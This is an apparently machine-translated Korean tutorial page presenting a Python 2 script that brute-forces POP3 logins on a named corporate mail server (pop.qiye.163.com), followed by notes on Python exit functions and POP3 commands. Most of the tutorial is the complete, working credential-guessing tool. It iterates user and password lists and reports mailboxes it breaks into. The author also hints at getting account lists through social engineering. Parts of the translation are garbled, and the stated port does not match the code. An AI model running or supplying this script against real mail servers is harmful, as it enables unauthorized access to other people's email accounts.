>백엔드 개발 >파이썬 튜토리얼 >Python은 회사 사서함에 대한 폭발 스크립트를 생성합니다.

Python은 회사 사서함에 대한 폭발 스크립트를 생성합니다.

高洛峰
高洛峰원래의
2017-02-06 14:00:262055검색

마스터님의 임무에 따라 기업 이메일 블래스팅 스크립트를 작성하고 이어서 FTP, SSH 등의 블래스팅 스크립트를 작성했습니다.

전체 아이디어에 대해 먼저 이야기하겠습니다.

전체 아이디어는 Python의 poplib 모듈을 사용하여 pop3 서버와 상호 작용하고 얻은 관련 정보를 기반으로 결과를 생성하는 것입니다. POP3 프로토콜도 복잡하지 않습니다. 서버에 명령을 보내면 서버는 반드시 메시지로 응답합니다.

1. 올바른

Sys.argv[]는 명령줄 매개변수를 얻는 데 사용됩니다. sys.argv[0]은 코드 자체의 파일 경로를 나타내므로 매개변수는 1

부터 시작합니다. 2. 그런 다음 사용자 비밀번호 파일에서 정보 가져오기
3.pop.getwelcome()을 사용하여 연결 서버의 응답 상태를 가져옵니다
4. 그런 다음 스크립트의 핵심 코드 부분이 나옵니다

server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

5. 마지막으로 해당 사용자 정보를 출력합니다

스크립트 코드는 다음과 같습니다.

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''
 
import threading, time, random, sys, poplib
from copy import copy
 
if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)
 
server = "pop.qiye.163.com"
success = []
 
try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)
 
try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass
 
def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(&#39; &#39;)[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
 
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

테스트 결과:

Python은 회사 사서함에 대한 폭발 스크립트를 생성합니다.

지침:

사용자 사전 파일에는 @domain.com이 필요합니다. zhangsan@domain.com, lisi@domain.com, wangwu@domain.com과 유사합니다. 저는 회사 이메일 계정과 비밀번호가 없어서 테스트를 성공적으로 마치지 못했습니다. 관심 있으신 분들은 관련 사회복지 바지를 검색해보시면 됩니다.

첨부파일:

파이썬에서 os._exit(), sys.exit(), exit()의 차이점은 무엇인가요?

sys.exit(n)은 프로그램을 종료하고 일부 정리 작업을 수행하기 위해 포착될 수 있는 SystemExit 예외를 트리거합니다. n의 기본값은 0이며, 다른 경우는 비정상적인 종료입니다. 이 예외는 포착되지 않고 바로 종료됩니다. 이 예외를 포착하면 추가 정리 작업을 수행할 수 있습니다. 일반적으로 이 종료

os._exit(n)는 Python 인터프리터를 직접 종료하기 위해 기본 프로그램에서 사용됩니다. 후속 코드는 실행되지 않으며 예외도 발생하지 않으며 관련 정리 작업도 수행되지 않습니다. 하위 프로세스 종료에 자주 사용됩니다.

exit()는 C 언어

와 같은 다른 언어의 종료()와 동일해야 합니다. pop3에서 이메일을 받는 과정은 일반적으로 다음과 같습니다.

pop3 서버에 연결(poplib.POP3.__init__)

확인을 위해 사용자 이름과 비밀번호를 보냅니다(poplib.POP3.user poplib.POP3.pass_ )

메일함에서 메일 정보 가져오기(poplib.POP3.stat)

메일 받기(poplib.POP3.retr)

메일 삭제(poplib.POP3.dele)

종료(poplib.POP3.quit)

poplib 메소드 매개변수 상태 설명 명령
---- ----------- ------------- ----------- ------
USER user username 이 명령과 다음 pass 명령이 다음과 같은 경우 사용자 이름을 승인합니다. 성공하면 상태 전환이 발생합니다
PASS pass_ 비밀번호가 사용자 비밀번호를 승인합니다
APOP apop 이름, 다이제스트가 MD5 메시지 요약을 승인합니다
--------------- ---------------------- --------------- ---------------------- -
STAT stat 없음 요청 서버를 처리하여 통계를 다시 보냅니다. 총 이메일 수 및 총 바이트와 같은 사서함 정보
UIDL uidl [Msg#] 반환된 이메일의 고유 식별자를 처리하며, POP3 세션의 각 식별자는 고유합니다.
LIST list [Msg#] 메시지 수 및 각 메시지 크기 반환을 처리합니다.
RETR retr [Msg#] 매개변수로 식별된 메시지의 전체 텍스트 반환을 처리합니다.
DELE dele [Msg #] 처리 서버는 다음으로 식별된 메일을 표시합니다. 삭제된 매개변수, quit 명령에 의해 실행
RSET rset 없음 처리 서버는 삭제 표시된 모든 메일을 재설정하며 DELE 명령을 실행 취소하는 데 사용됩니다.
TOP top [Msg#] 처리 서버는 첫 번째 n을 반환합니다. 매개변수로 식별되는 이메일 라인 n은 양의 정수여야 합니다.
NOOP noop 없음. 처리 서버가 긍정적인 응답을 반환합니다.

기업 메일함을 만들기 위한 Python의 폭발 스크립트와 관련된 추가 기사를 보려면 비용을 지불하세요. PHP 중국어 웹사이트에 주목하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.